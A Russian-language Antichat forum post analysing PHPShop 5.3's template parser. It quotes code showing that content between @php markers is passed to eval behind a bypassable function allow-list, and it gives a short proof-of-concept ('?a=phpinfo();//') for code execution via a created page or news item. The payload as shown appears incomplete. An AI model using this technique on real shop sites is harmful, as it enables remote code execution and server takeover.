ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

18.03.2019, 04:46
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
Сообщение от Take_IT
Take_IT said:
↑
PHPShop & PHPShop CMS Free - Latest Version
обновлю пост, последняя на данный момент версия PHPShop 5.3, список допустимых функций зашит в массив, смотрим на регулярки:
./class/parser.class.php
Код:
Code:
function Parser($string, $debug = false) {
$dis = @preg_replace_callback("/@([a-zA-Z0-9_]+)@/", 'SysValueReturn', @preg_replace_callback("/(@php)(.*)(php@)/sU", "evalstr", str_replace('+', '+', $string)));
...
Код:
Code:
function evalstr($str) {
ob_start();
if (parser_function_guard == 'true') {
if (!allowedFunctions($str[2]))
return ob_get_clean();
}
if (eval(stripslashes($str[2])) !== NULL) {
echo (' PHP');
echo (' :');
echo ('');
echo ($str[2]);
echo ('');
return ob_get_clean();
}
return ob_get_clean();
}
...
Код:
Code:
function allowedFunctions($str) {
$Functions = array(
'if',
'else',
'switch',
'for',
'foreach',
'echo',
'print',
'print_r',
'array',
'isset',
'empty',
'chr',
'__',
'str_replace',
'__hide',
'empty'
);
$allowFunctions = array_merge($Functions, explode(',', parser_function_allowed));
preg_match_all('/\s*([A-Za-z0-9_$]+)\s*\(/isU', $str, $findedFunctions);
$remElements = array_diff($findedFunctions[1], $allowFunctions);
$denyFunctions = explode(',', parser_function_deny);
foreach ($denyFunctions as $deny)
if (stristr($str, $deny))
$remElements[] = $deny;
if (count($remElements) > 0) {
echo (' ');
echo (' :');
echo ('');
foreach ($remElements as $remElement) {
echo ($remElement . '()');
}
echo ('');
echo (' ( phpshop/inc/config.ini [function]):');
echo ('');
foreach ($allowFunctions as $allowFunction) {
echo ($allowFunction . '()
');
}
echo ('');
return false;
} else {
return true;
}
}
создаем страницу или новость
универсальный poc для php5 и php7
?a=phpinfo();//
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|